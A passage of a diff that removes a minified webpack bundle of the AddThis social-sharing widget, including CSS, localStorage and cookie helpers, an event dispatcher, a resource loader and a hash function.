a{top:1px}#_atssh{width:1px!important;height:1px!important;border:0!important}.atm{width:10pc!important;padding:0;margin:0;line-height:9pt;letter-spacing:normal;font-family:arial,helvetica,tahoma,verdana,sans-serif;font-size:9pt;color:#444;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABtJREFUeNpiZGBgaGAgAjAxEAlGFVJHIUCAAQDcngCUgqGMqwAAAABJRU5ErkJggg==);padding:4px}.atm-f{text-align:right;border-top:1px solid #ddd;padding:5px 8px}.atm-i{background:#fff;border:1px solid #d5d6d6;padding:0;margin:0;box-shadow:1px 1px 5px rgba(0,0,0,.15)}.atm-s{margin:0!important;padding:0!important}.atm-s a:focus{border:transparent;outline:0;transition:none}#at_hover.atm-s a,.atm-s a{display:block;text-decoration:none;padding:4px 10px;color:#235dab!important;font-weight:400;font-style:normal;transition:none}#at_hover.atm-s .at_bold{color:#235dab!important}#at_hover.atm-s a:hover,.atm-s a:hover{background:#2095f0;text-decoration:none;color:#fff!important}#at_hover.atm-s .at_bold{font-weight:700}#at_hover.atm-s a:hover .at_bold{color:#fff!important}.atm-s a .at-label{vertical-align:middle;margin-left:5px;direction:ltr}.at_PinItButton{display:block;width:40px;height:20px;padding:0;margin:0;background-image:url(//s7.addthis.com/static/t00/pinit00.png);background-repeat:no-repeat}.at_PinItButton:hover{background-position:0 -20px}.addthis_toolbox .addthis_button_pinterest_pinit{position:relative}.at-share-tbx-element .fb_iframe_widget span{vertical-align:baseline!important}#at16pf{height:auto;text-align:right;padding:4px 8px}.at-privacy-info{position:absolute;left:7px;bottom:7px;cursor:pointer;text-decoration:none;font-family:helvetica,arial,sans-serif;font-size:10px;line-height:9pt;letter-spacing:.2px;color:#666}.at-privacy-info:hover{color:#000}.body .wsb-social-share .wsb-social-share-button-vert{padding-top:0;padding-bottom:0}.body .wsb-social-share.addthis_counter_style .addthis_button_tweet.wsb-social-share-button{padding-top:40px}.body .wsb-social-share.addthis_counter_style .addthis_button_facebook_like.wsb-social-share-button{padding-top:21px}@media print{#at4-follow,#at4-share,#at4-thankyou,#at4-whatsnext,#at4m-mobile,#at15s,.at4,.at4-recommended{display:none!important}}@media screen and (max-width:400px){.at4win{width:100%}}@media screen and (max-height:700px) and (max-width:400px){.at4-thankyou-inner .at4-recommended-container{height:122px;overflow:hidden}.at4-thankyou-inner .at4-recommended .at4-recommended-item:first-child{border-bottom:1px solid #c5c5c5}}',
-                ''
-            ]);
-        },
-        (e, t, n) => {
-            var a = n(556);
-            'string' == typeof a && (a = [
-                [e.id, a, '']
-            ]);
-            n(330)(a, {});
-            a.locals && (e.exports = a.locals);
-        },
-        (e, t, n) => {
-            (t = e.exports = n(329)()),
-            t.push([
-                e.id,
-                '.at-branding-logo{font-family:helvetica,arial,sans-serif;text-decoration:none;font-size:10px;display:inline-block;margin:2px 0;letter-spacing:.2px}.at-branding-logo .at-branding-icon{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAMAAAC67D+PAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAZQTFRF////+GlNUkcc1QAAAB1JREFUeNpiYIQDBjQmAwMmkwEM0JnY1WIxFyDAABGeAFEudiZsAAAAAElFTkSuQmCC")}.at-branding-logo .at-branding-icon,.at-branding-logo .at-privacy-icon{display:inline-block;height:10px;width:10px;margin-left:4px;margin-right:3px;margin-bottom:-1px;background-repeat:no-repeat}.at-branding-logo .at-privacy-icon{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAkAAAAKCAMAAABR24SMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABhQTFRF8fr9ot/xXcfn2/P5AKva////////AKTWodjhjAAAAAd0Uk5T////////ABpLA0YAAAA6SURBVHjaJMzBDQAwCAJAQaj7b9xifV0kUKJ9ciWxlzWEWI5gMF65KUTv0VKkjVeTerqE/x7+9BVgAEXbAWI8QDcfAAAAAElFTkSuQmCC")}.at-branding-logo span{text-decoration:none}.at-branding-logo .at-branding-addthis,.at-branding-logo .at-branding-powered-by{color:#666}.at-branding-logo .at-branding-addthis:hover{color:#333}.at-cv-with-image .at-branding-addthis,.at-cv-with-image .at-branding-addthis:hover{color:#fff}a.at-branding-logo:visited{color:initial}.at-branding-info{display:inline-block;padding:0 5px;color:#666;border:1px solid #666;border-radius:50%;font-size:10px;line-height:9pt;opacity:.7;transition:all .3s ease;text-decoration:none}.at-branding-info span{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.at-branding-info:before{content:\'i\';font-family:Times New Roman}.at-branding-info:hover{color:#0780df;border-color:#0780df}',
-                ''
-            ]);
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i(e) {
-                try {
-                    return JSON.parse(e);
-                } catch (e) {
-                    return null;
-                }
-            }
-            function o(e) {
-                return JSON.stringify(e);
-            }
-            function r(e) {
-                if (null === e) return !1;
-                var t = e.expires;
-                return (0, m.default)() - new Date(t).getTime() < g;
-            }
-            function s(e) {
-                var t = e.value;
-                return t === !1;
-            }
-            Object.defineProperty(t, '__esModule', {
-                value: !0
-            });
-            var d = n(558);
-            var u = a(d);
-            var c = n(560);
-            var l = a(c);
-            var f = n(561);
-            var p = a(f);
-            var h = n(371);
-            var m = a(h);
-            var g = 18e5;
-            var _ = {
-                getValue() {
-                    var e = i(u.default.get('cww')),
-                        t = r(e) && s(e);
-                    return (0, l.default)() ? 4 : t ? 2 : (0, p.default)() ? 1 : 0;
-                },
-                start(e) {
-                    e.on('addthis-internal.cookie.status', (e) => {
-                        var t = {
-                            value: Boolean(e.data.cookiable),
-                            expires: (0, m.default)() + g
-                        };
-                        u.default.add('cww', o(t));
-                    });
-                }
-            };
-            (t.default = _), (e.exports = t.default);
-        },
-        (e, t, n) => {
-            function a(e) {
-                if (l) return f.localStorage.getItem(p + e);
-            }
-            function i(e, t) {
-                if (l) {
-                    var n = p + e;
-                    try {
-                        f.localStorage[n] = t;
-                    } catch (e) {
-                        if ('QUOTA_EXCEEDED_ERR' === e.name) {
-                            d();
-                            try {
-                                f.localStorage[n] = t;
-                            } catch (e) {}
-                        }
-                    }
-                }
-            }
-            function o(e) {
-                if (e && 'function' == typeof e)
-                    for (var t in f.localStorage) f.localStorage.hasOwnProperty(t) && e(t, f.localStorage[t]);
-            }
-            function r(e) {
-                var t = {};
-                if (l)
-                    return (
-                        o((n, a) => {
-                            n && n.indexOf && 0 === n.indexOf(p + (e || '')) && (t[n] = a);
-                        }),
-                        t
-                    );
-            }
-            function s(e) {
-                var t = 0;
-                return (
-                    o((n) => {
-                        n && n.indexOf && 0 === n.indexOf(p + (e || '')) && t++;
-                    }),
-                    t > 0
-                );
-            }
-            function d() {
-                o((e) => {
-                    0 === e.indexOf(p) && f.localStorage.removeItem(e);
-                });
-            }
-            function u(e) {
-                var t = r();
-                Object.keys(t).forEach((t) => {
-                    0 === t.indexOf(p + e) && f.localStorage.removeItem(t);
-                });
-            }
-            function c(e) {
-                l && f.localStorage.removeItem(e);
-            }
-            var l = n(559);
-            var f = window;
-            var p = '_at.';
-            e.exports = {
-                getAll: r,
-                removeAll: d,
-                add: i,
-                get: a,
-                remove: c,
-                exists: s,
-                removeByPrefix: u
-            };
-        },
-        (e, t) => {
-            var n = (() => {
-                try {
-                    var e = 'addthis-test';
-                    var t = window.localStorage;
-                    return t.setItem(e, '1'), t.removeItem(e), null != t;
-                } catch (e) {
-                    return !1;
-                }
-            })();
-            e.exports = n;
-        },
-        (e, t) => {
-            e.exports = () => navigator.doNotTrack && 'unspecified' !== navigator.doNotTrack && 'no' !== navigator.doNotTrack && '0' != navigator.doNotTrack;
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(...args) {
-                var e = args.length > 0 && void 0 !== args[0] ? args[0] : i.dh;
-                return e.indexOf('.gov') > -1 || e.indexOf('.mil') > -1;
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = a);
-            var i = n(64);
-            e.exports = t.default;
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e, t) {
-                var n = t.once;
-                var a = void 0 !== n && n;
-                !(0, i.markerSupport)() || (a && o[e]) || ((o[e] = !0), performance.mark('addthis.' + e));
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = a);
-            var i = n(563);
-            addthis.perfMarkers || (addthis.perfMarkers = {});
-            var o = addthis.perfMarkers;
-            e.exports = t.default;
-        },
-        (e, t) => {
-            'use strict';
-            function n() {
-                return window.performance && performance.getEntriesByType instanceof Function;
-            }
-            function a() {
-                return n() && performance.mark instanceof Function;
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.basicSupport = n),
-                (t.markerSupport = a);
-        },
-        (e, t) => {
-            'use strict';
-            function n() {}
-            var a = {
-                sml: 1,
-                smlmo: 1,
-                smlsh: 1,
-                smlfw: 1,
-                smlre: 1,
-                smlwn: 1,
-                smlwrn: 1,
-                smlreb: 1,
-                smlrebh: 1,
-                smlrebv: 1,
-                smlty: 1,
-                cod: 1,
-                jsc: 1,
-                wnm: 1,
-                ist: 1
-            };
-            var i = [{
-                    name: 'per-1',
-                    feed: ['viewsrnd'],
-                    vector: [],
-                    isProCell: !1
-                },
-                {
-                    name: 'per-2',
-                    feed: ['views2'],
-                    vector: [],
-                    isProCell: !0
-                },
-                {
-                    name: 'per-3',
-                    feed: ['views2'],
-                    vector: ['url'],
-                    isProCell: !0
-                },
-                {
-                    name: 'per-4',
-                    feed: ['views2'],
-                    vector: ['clusters'],
-                    isProCell: !0
-                },
-                {
-                    name: 'per-11',
-                    feed: ['viewscf'],
-                    vector: [],
-                    isProCell: !1
-                },
-                {
-                    name: 'per-12',
-                    feed: ['views2'],
-                    vector: ['clusters2'],
-                    isProCell: !0
-                },
-                {
-                    name: 'per-13',
-                    feed: ['views2'],
-                    vector: ['clusters2', 'url'],
-                    isProCell: !1
-                },
-                {
-                    name: 'per-15',
-                    feed: ['controlfeed'],
-                    vector: [],
-                    isProCell: !1
-                }
-            ];
-            (n.prototype = {
-                getConfig(e) {
-                    if (!e || !e._default || !e._default.widgets) return {};
-                    for (var t in e._default.widgets)
-                        if (a[t]) return i;
-                    return {};
-                }
-            }),
-            (e.exports = new n());
-        },
-        (e, t, n) => {
-            'use strict';
-            var a = n(13);
-            e.exports = (e, t) => {
-                var n;
-                var i;
-                var o;
-                var r = 0;
-                var s = [];
-                if (e && e.length) {
-                    try {
-                        for (; ++r < e.length;)
-                            if (((n = e[r]), (!t || (t && n.isProCell)) && s.push(n), (o = 'ab=' + n.name + '(&|$)'), document.location.hash.match(o))) {
-                                i = n;
-                                break;
-                            }
-                        i || (i = s[~~(Math.random() * s.length)]);
-                    } catch (e) {
-                        a.error(e);
-                    }
-                    return i;
-                }
-            };
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                try {
-                    if (1 === e.nodeType) return !1;
-                } catch (e) {}
-                return !0;
-            }
-            function i(e, t) {
-                '*' === t
-                    ?
-                    r.error("Can't use * as a target origin") :
-                    t ?
-                    e || r.error('Need to provide an iframe') :
-                    r.error('Need to provide a target origin'),
-                    a(e) ?
-                    ((this._iframe = null), (this._targetWindow = e), (this._ready = !0), (this._interval = null)) :
-                    ((this._iframe = e),
-                        (this._targetWindow = null),
-                        (this._ready = !1),
-                        (this._interval = setInterval(() => {
-                            null !== this._iframe.contentWindow &&
-                                ((this._targetWindow = this._iframe.contentWindow),
-                                    (this._ready = !0),
-                                    setTimeout(this._drainQueue.bind(this)),
-                                    clearInterval(this._interval),
-                                    (this._interval = null));
-                        }, 0))),
-                    (this._targetOrigin = t),
-                    (this._queue = []);
-            }
-            var o = n(395);
-            var r = n(13);
-            (i.prototype = {
-                post(e) {
-                    o &&
-                        (this._ready && void 0 !== this._targetWindow && '[object Function]' === Object.prototype.toString.call(this._targetWindow.postMessage) ?
-                            this._targetWindow.postMessage(e, this._targetOrigin) :
-                            this._queue.push(e));
-                },
-                _drainQueue() {
-                    var e;
-                    if (!this._ready) throw new Error('Cannot drain queue before postman is ready!');
-                    for (e = this._queue.pop(); e;) this.post(e), (e = this._queue.pop());
-                }
-            }),
-            (e.exports = i);
-        },
-        (e, t, n) => {
-            function a(e, t, n) {
-                var o = this;
-                var r = new i(o);
-                (t = t || ''),
-                r.decorate(r).decorate(o),
-                    (this.callbacks = []),
-                    (this.ready = !1),
-                    (this.loading = !1),
-                    (this.id = e),
-                    (this.url = t),
-                    'function' == typeof n ?
-                    (this.test = n) :
-                    'undefined' == typeof n ?
-                    (this.test = () => !0) :
-                    (this.test = () => 'object' == typeof _window && _window[n]),
-                    a.addEventListener('load', (e) => {
-                        var t = e.data ? e.data.resource : null;
-                        t &&
-                            t.id === o.id &&
-                            o.loading &&
-                            ((o.loading = !1),
-                                (o.ready = !0),
-                                r.fire(e.type, t, {
-                                    resource: t
-                                }));
-                    });
-            }
-            var i = n(568).EventDispatcher;
-            var o = n(570);
-            var r = n(397);
-            var s = document;
-            var d = window.addthis_config || {};
-            var u = [];
-            (e.exports = a),
-            (a.prototype.load = function(e) {
-                var t;
-                var n;
-                var i;
-                var u;
-                var c = d.ui_use_css !== !1;
-                if ((e instanceof Function && this.callbacks.push(e), this.loading)) return 1;
-                if ('.css' === this.url.substr(this.url.length - 4)) {
-                    if (c) {
-                        for (n = s.getElementsByTagName('link'), u = n.length - 1; u >= 0; u--)
-                            if ('stylesheet' === n[u].rel && o(n[u].href) === o(this.url)) {
-                                i = n[u];
-                                break;
-                            }
-                        i ||
-                            ((t = s.getElementsByTagName('head')[0] || s.documentElement),
-                                (i = s.createElement('link')),
-                                (i.rel = 'stylesheet'),
-                                (i.type = 'text/css'),
-                                (i.href = this.url),
-                                (i.media = 'non-existant-media'),
-                                t.appendChild(i, t.firstChild),
-                                setTimeout(() => {
-                                    i.media = 'all';
-                                }));
-                    }
-                } else i = r(this.url, 1);
-                return (this.loading = !0), a.monitor(this), i;
-            }),
-            (a.loading = u),
-            (a.monitor = function e(t) {
-                var n;
-                var i;
-                var o;
-                for (t && t instanceof a && u.push(t), n = 0; n < u.length;)
-                    if (((o = u[n]), o && o.test()))
-                        for (
-                            u.splice(n, 1),
-                            a.fire('load', o, {
-                                resource: o
-                            }),
-                            i = 0; i < o.callbacks.length; i++
-                        )
-                            o.callbacks[i]();
-                    else n++;
-                u.length && setTimeout(e, 25);
-            });
-            var c = new i(a);
-            c.decorate(c).decorate(a);
-        },
-        (e, t, n) => {
-            function a(e, t, n, a, i) {
-                (this.type = e),
-                (this.triggerType = t || e),
-                (this.target = null === n ? n : n || a),
-                (this.triggerTarget = a || n),
-                (this.data = i || {}),
-                (this.serialize = function() {
-                    if (h) {
-                        var e = m({}, this.data);
-                        return (
-                            (e.element = null),
-                            JSON.stringify({
-                                remoteEvent: {
-                                    data: e,
-                                    type: this.type,
-                                    triggerType: this.triggerType,
-                                    target: {},
-                                    triggerTarget: {}
-                                }
-                            })
-                        );
-                    }
-                    return '';
-                });
-            }
-            function i(e, t) {
-                (this.target = e), (this.queues = {}), (this.remoteDispatcher = null), (this.remoteFilter = null), (this.defaultEventType = t || a);
-            }
-            function o(e) {
-                var t = this.queues;
-                return t[e] || (t[e] = []), t[e];
-            }
-            function r(e, t) {
-                this.getQueue(e).push(t);
-            }
-            function s(e, t) {
-                e && e.postMessage && ((this.remoteDispatcher = e), (this.remoteFilter = t));
-            }
-            function d(e, t) {
-                this.firedEvents.hasOwnProperty(e) ? t(this.firedEvents[e]) : this.once(e, t);
-            }
-            function u(e, t) {
-                var n = this;
-                var a = function(...args) {
-                    var i = Array.prototype.slice.call(args, 0);
-                    t.apply(this, i), n.removeEventListener(e, a);
-                };
-                n.addEventListener(e, a);
-            }
-            function c(e, t) {
-                var n = this.getQueue(e);
-                var a = 'string' == typeof n ? n.indexOf(t) : -1;
-                a !== -1 && n.splice(a, 1);
-            }
-            function l(e, t, n, a) {
-                var i = this;
-                this.firedEvents[e] || (this.firedEvents[e] = n),
-                    a ?
-                    i.dispatchEvent(new i.defaultEventType(e, e, t, i.target, n)) :
-                    setTimeout(() => {
-                        i.dispatchEvent(new i.defaultEventType(e, e, t, i.target, n));
-                    });
-            }
-            function f(e) {
-                var t;
-                var n = e.target;
-                var a = this.getQueue(e.type);
-                for (t = 0; t < a.length; t++) n ? a[t].call(n, e.clone()) : a[t](e.clone());
-                try {
-                    !h ||
-                        !this.remoteDispatcher ||
-                        'function' != typeof this.remoteDispatcher.postMessage ||
-                        (this.remoteFilter && 0 !== e.type.indexOf(this.remoteFilter)) ||
-                        this.remoteDispatcher.postMessage(e.serialize(), '*');
-                } catch (e) {}
-            }
-            function p(e) {
-                if (e) {
-                    for (var t in _)
-                        if (_.hasOwnProperty(t)) {
-                            var n = _[t];
-                            n.bind && (e[t] = n.bind(this));
-                        }
-                    return e;
-                }
-            }
-            var h = n(569);
-            var m = n(8);
-            var g = () => {};
-            var _ = {
-                firedEvents: {},
-                constructor: i,
-                getQueue: o,
-                addEventListener: r,
-                once: u,
-                after: d,
-                removeEventListener: c,
-                on: r,
-                off: c,
-                addRemoteDispatcher: s,
-                dispatchEvent: f,
-                fire: l,
-                decorate: p
-            };
-            var v = {
-                constructor: a,
-                bubbles: !1,
-                preventDefault: g,
-                stopPropagation: g,
-                clone() {
-                    return new this.constructor(
-                        this.type,
-                        this.triggerType,
-                        this.target,
-                        this.triggerTarget,
-                        this.data instanceof Event ? this.data : m({}, this.data)
-                    );
-                }
-            };
-            (e.exports = {
-                PolyEvent: a,
-                EventDispatcher: i
-            }),
-            m(a.prototype, v),
-                m(i.prototype, _);
-        },
-        (e, t) => {
-            var n = window.JSON && 'function' == typeof window.JSON.parse && 'function' == typeof window.JSON.stringify;
-            e.exports = n;
-        },
-        (e, t) => {
-            e.exports = (e) => e.replace(/^[a-zA-Z]+:/, '');
-        },
-        (e, t, n) => {
-            function a(e) {
-                e instanceof Array || (e = [e]);
-                for (var t = [], n = 0; n < e.length; n++) {
-                    var a = e[n];
-                    a instanceof i
-                        ?
-                        t.push(a) :
-                        ((a = new i(a.name, a.href || a.url || ((window._atc || {}).rsrcs || {})[a.name], a.test ? a.test : () => !0)), t.push(a));
-                }
-                return t;
-            }
-            var i = n(567);
-            var o = n(568).EventDispatcher;
-            var r = n(10);
-            e.exports = function(...args) {
-                var e = this;
-                var t = new o(e);
-                t.decorate(t).decorate(e),
-                    (this.resources = args.length && args[0] instanceof Array ? args[0] : r(args)),
-                    (this.waiting = this.resources.length),
-                    (this.loading = !1),
-                    !this.resources || this.resources[0] instanceof i || (this.resources = a(this.resources)),
-                    (this.checkload = function() {
-                        this.waiting--,
-                            0 === this.waiting &&
-                            t.fire('load', this.resources, {
-                                resources: this.resources
-                            });
-                    }),
-                    (this.add = function(e) {
-                        e && (this.waiting++, this.resources.push(e));
-                    }),
-                    (this.load = function() {
-                        if (!this.loading) {
-                            for (var t = 0; t < this.resources.length; t++)
-                                this.resources[t].addEventListener('load', this.checkload.bind(e)), this.resources[t].load();
-                            this.loading = !0;
-                        }
-                    });
-            };
-        },
-        (e, t, n) => {
-            var a = n(3);
-            var i = n(435);
-            e.exports = (e, t, n, o, r, s) => {
-                a(['close', e, t, n, o, r, s]), i();
-            };
-        },
-        (e, t, n) => {
-            var a = n(3);
-            var i = n(435);
-            e.exports = (e, t, n) => {
-                a(['send', e, t, n]), i();
-            };
-        },
-        (e, t, n) => {
-            'use strict';
-            function a(e) {
-                return e && e.__esModule ?
-                    e : {
-                        default: e
-                    };
-            }
-            function i(e, t) {
-                e.services_exclude += (e.services_exclude.length ? ',' : '') + t;
-            }
-            function o(e) {
-                (e.services_exclude = e.services_exclude || ''),
-                !(0, s.default)('msi') || (0, s.default)('ie11') || (0, s.default)('ie10') || i(e, 'slack'),
-                    (0, s.default)('ipa') && i(e, 'print');
-            }
-            Object.defineProperty(t, '__esModule', {
-                    value: !0
-                }),
-                (t.default = o);
-            var r = n(5);
-            var s = a(r);
-            e.exports = t.default;
-        },
-        (e, t) => {
-            e.exports = (e) => {
-                var t = {
-                    th: 1,
-                    pl: 1,
-                    sl: 1,
-                    gl: 1,
-                    hu: 1,
-                    is: 1,
-                    nb: 1,
-                    se: 1,
-                    su: 1,
-                    sw: 1
-                };
-                return !!t[e];
-            };
-        },
-        (e, t) => {
-            e.exports = (e) => {
-                var t = {
-                    en: 'en-US',
-                    ar: 'ar',
-                    ca: 'ca',
-                    zh: 'zh-CN',
-                    hr: 'hr',
-                    cs: 'cs',
-                    da: 'da',
-                    nl: 'nl',
-                    et: 'et',
-                    fi: 'fi',
-                    fr: 'fr',
-                    de: 'de',
-                    el: 'el',
-                    he: 'iw',
-                    hi: 'hi',
-                    hu: 'hu',
-                    id: 'id',
-                    it: 'it',
-                    ja: 'ja',
-                    ko: 'ko',
-                    lv: 'lv',
-                    lt: 'lt',
-                    ms: 'ms',
-                    no: 'no',
-                    fa: 'fa',
-                    pl: 'pl',
-                    pt: 'pt-BR',
-                    ro: 'ro',
-                    ru: 'ru',
-                    sr: 'sr',
-                    sk: 'sk',
-                    sl: 'sl',
-                    es: 'es',
-                    sv: 'sv',
-                    th: 'th',
-                    tr: 'tr',
-                    uk: 'uk',
-                    vi: 'vi'
-                };
-                return t[e] || null;
-            };
-        },
-        (e, t) => {
-            'use strict';
-            function n(e, t, n) {
-                var i = '';
-                var o = 0;
-                var r = -1;
-                if (
-                    (void 0 === n && (n = 300),
-                        e && ((i = e.substr(0, n)), i !== e && ((r = i.lastIndexOf('%')) >= i.length - 4 && (i = i.substr(0, r)), i !== e)))
-                ) {
-                    for (var s in a) a[s] !== t || (o = 1);
-                    o || a.push(t);
-                }
-                return i;
-            }
-            var a = [];
-            e.exports = {
-                truncationList: a,
-                truncateURL: n
-            };
-        },
-        (module, exports) => {
-            module.exports = function evl(src, scope) {
-                if (scope) {
-                    var evl;
-                    return eval('evl = ' + src), evl;
-                }
-                return eval(src);
-            };
-        },
-        (e, t, n) => {
-            'use strict';
-            var a = n(11).array;
-            e.exports = (e, t, n) => {
-                if (a(e)) {
-                    var i = e.length;
-                    for (n = parseInt(n) || 0, n = n < 0 ? i + n : n, n = n < 0 ? 0 : n; n < i; n++)
-                        if (e[n] === t) return n;
-                    return -1;
-                }
-            };
-        },
-        (e, t) => {
-            e.exports = (e) => {
-                if (null == e || 'object' != typeof e) return e;
-                if (e instanceof Object) {
-                    var t = '';
-                    for (var n in e) e.hasOwnProperty(n) && (t += (t.length > 0 ? ',' : '') + e[n]);
-                    return t;
-                }
-                return null;
-            };
-        },
-        (e, t) => {
-            e.exports = (e, t) => {
-                var n = window;
-                n.addthis_share || (n.addthis_share = {}), (t || e !== addthis_share.url) && (addthis_share.imp_url = 0);
-            };
-        },
-        (e, t, n) => {
-            function a() {
-                (k = 0), (w = {}), (y = []);
-            }
-            function i(e) {
-                return e > m.high ? 3 : e > m.med ? 2 : 1;
-            }
-            function o() {
-                var e;
-                var t = [];
-                s();
-                for (e in w)
-                    t.push({
-                        name: e,
-                        score: i(w[e])
-                    });
-                return t.sort((e, t) => (e.score > t.score ? 1 : -1)), t;
-            }
-            function r() {
-                s();
-                var e;
-                var t = {};
-                for (e in w) t[e] = i(w[e]);
-                return t;
-            }
-            function s() {
-                var e;
-                var t;
-                if (!k) {
-                    var e;
-                    var n;
-                    var a;
-                    var i;
-                    var o = (h.rck(b) || '').split(',');
-                    for (e = 0, t = o.length; e < t; e++)
-                        (n = o[e].split(';')), (a = n.pop()), (i = n.pop() || ''), (w[i] = a), y.push(i), a > C && ((C = a), (p = i));
-                    k = 1;
-                }
-            }
-            function d(e) {
-                return w.hasOwnProperty(e);
-            }
-            function u() {
-                for (var e, t = !1, n = (h.rck('sshs') || '').split(','); t === !1 && 0 !== n.length;)
-                    (e = n.pop()), w.hasOwnProperty(e) && w[e] == Math.min(w) && (t = e);
-                t === !1 && (t = y.pop()), delete w[t];
-            }
-            function c() {
-                var e;
-                var t = {};
-                var n = [];
-                for (e in w) w.hasOwnProperty(e) && w[e] / 2 >= 1 && ((t[e] = parseInt(w[e] / 2)), n.push(e));
-                (w = t), (y = n);
-            }
-            function l(e) {
-                if ((s(), 'string' != typeof e)) return !1;
-                if (((e = e.replace(/_[a-zA-Z0-9]*/i, '')), x === !1)) {
-                    (x = !0), y.length + 1 >= _ && !d(e) && u(), d(e) ? w[e]++ : (w[e] = '1'), w[e] >= v && c();
-                    var t = f(w);
-                    h.sck(b, escape(t), !1, !g);
-                }
-            }
-            function f(e) {
-                var t;
-                var n;
-                var a = [];
-                if ('object' != typeof e) return !1;
-                for (n in e) n.length > 1 && a.push(n + ';' + e[n]);
-                return (t = a.join(','));
-            }
-            var p;
-            var h = n(58);
-            var m = {
-                high: 4,
-                med: 2
-            };
-            var g = document.location.href.indexOf('.addthis.com'.substr(1)) > -1;
-            var _ = 10;
-            var v = 20;
-            var b = (g ? '' : '__at') + 'ssc';
-            var w = {};
-            var x = !1;
-            var y = [];
-            var k = 0;
-            var C = 0;
-            e.exports = {
-                reset: a,
-                get: r,
-                getServices: o,
-                update: l
-            };
-        },
-        (e, t, n) => {
-            function a() {
-                return g.join(h);
-            }
-            function i() {
-                if (!m) {
-                    var e = c.rck(p) || '';
-                    e && (g = l(e).split(h)), (m = 1);
-                }
-            }
-            function o() {
-                i(), g.length && c.sck(p, f(a()), 0, !0);
-            }
-            function r() {
-                return i(), g;
-            }
-            function s(e) {
-                i(), 'string' == typeof e && (e = [e]);
-                for (var t = 0; t < g.length; t++)
-                    for (var n = 0; n < e.length; n++)
-                        if (g[t] === e[n]) return;
-                for (var n = 0; n < e.length; n++) g.push(e[n]);
-                o();
-            }
-            function d(e) {
-                for (var t = 0; t < g.length; t++)
-                    if (g[t] === e) {
-                        g.splice(t, 1);
-                        break;
-                    }
-                o();
-            }
-            function u() {
-                g = [];
-            }
-            var c = n(58);
-            e.exports = {
-                reset: u,
-                add: s,
-                remove: d,
-                get: r,
-                toKV: a
-            };
-            var l = window.decodeURIComponent;
-            var f = window.encodeURIComponent;
-            var p = '__attag';
-            var h = ',';
-            var m = 0;
-            var g = [];
-        },
-        (e, t) => {
-            var n = [];
-            var a = {};
-            e.exports = (e, t) => {
-                var i;
-                var o = new Date().getTime();
-                if (((t = t || {}), (t.cacheDuration = void 0 !== t.cacheDuration ? t.cacheDuration : 3e3), !e)) return !1;
-                if (e.scrollCheckID) {
-                    if (((i = e.scrollCheckID), !(o - n[i] > t.cacheDuration))) return a[i];
-                    n[i] = o;
-                } else(e.scrollCheckID = n.length), (n[n.length] = o), (i = e.scrollCheckID);
-                var r = e.getBoundingClientRect();
-                var s = {
-                    top: 0,
-                    left: 0,
-                    bottom: window.innerHeight || document.documentElement.clientHeight,
-                    right: window.innerWidth || document.documentElement.clientWidth
-                };
-                var d = 0;
-                var u = Math.max(r.top, s.top);
-                var c = Math.min(r.bottom, s.bottom);
-                var l = Math.max(r.left, s.left);
-                var f = Math.min(r.right, s.right);
-                var p = (r.right - r.left) * (r.bottom - r.top);
-                return (d = c > u && f > l ? (c - u) * (f - l) : 0), (a[i] = d / p), a[i];
-            };
-        },
-        (e, t) => {
-            e.exports = (e, t) => {
-                var n;
-                var a;
-                var i;
-                var o;
-                var r;
-                var s;
-                var d;
-                var u;
-                for (n = 3 & e.length, a = e.length - n, i = t, r = 3432918353, s = 461845907, u = 0; u < a;)
-                    (d = (255 & e.charCodeAt(u)) | ((255 & e.charCodeAt(++u)) << 8) | ((255 & e.charCodeAt(++u)) << 16) | ((255 & e.charCodeAt(++u)) << 24)),
-                    ++u,
-                    (d = ((65535 & d) * r + ((((d >>> 16) * r) & 65535) << 16)) & 4294967295),
-                    (d = (d << 15) | (d >>> 17)),
-                    (d = ((65535 & d) * s + ((((d >>> 16) * s) & 65535) << 16)) & 4294967295),
-                    (i ^= d),
-                    (i = (i << 13) | (i >>> 19)),
-                    (o = (5 * (65535 & i) + (((5 * (i >>> 16)) & 65535) << 16)) & 4294967295),
-                    (i = (65535 & o) + 27492 + ((((o >>> 16) + 58964) & 65535) << 16));
-                switch (((d = 0), n)) {
-                    case 3:
-                        d ^= (255 & e.charCodeAt(u + 2)) << 16;
-                    case 2:
-                        d ^= (255 & e.charCodeAt(u + 1)) << 8;
-                    case 1:
-                        (d ^= 255 & e.charCodeAt(u)),
-                        (d = ((65535 & d) * r + ((((d >>> 16) * r) & 65535) << 16)) & 4294967295),
-                        (d = (d << 15) | (d >>> 17)),
-                        (d = ((65535 & d) * s + ((((d >>> 16) * s) & 65535) << 16)) & 4294967295),
-                        (i ^= d);
-                }
-                return (
-                    (i ^= e.length),
-                    (i ^= i >>> 16),
-                    (i = (2246822507 * (65535 & i) + (((2246822507 * (i >>> 16)) & 65535) << 16)) & 4294967295),
-                    (i ^= i >>> 13),
-                    (i = (3266489909 * (65535 & i) + (((3266489909 * (i >>> 16)) & 65535) << 16)) & 4294967295),
-                    (i ^= i >>> 16),
-                    i >>> 0
-                );
-            };
-        },
-        (e, t, n) => {
-            var a = n(587);
-            var i = window;
-            var o = !1;
-            e.exports = (e) => {
-                if (!o) {
-                    var t = a();
-                    i.addthis_config ?
-                        addthis_config.data_use_cookies === !1 && (_atc.xck = 1) :
-                        (i.addthis_config = {
-                            username: i.addthis_pub
-                        }),
-                        i.addthis_share || (i.addthis_share = {}),
-                        addthis_share.url ||
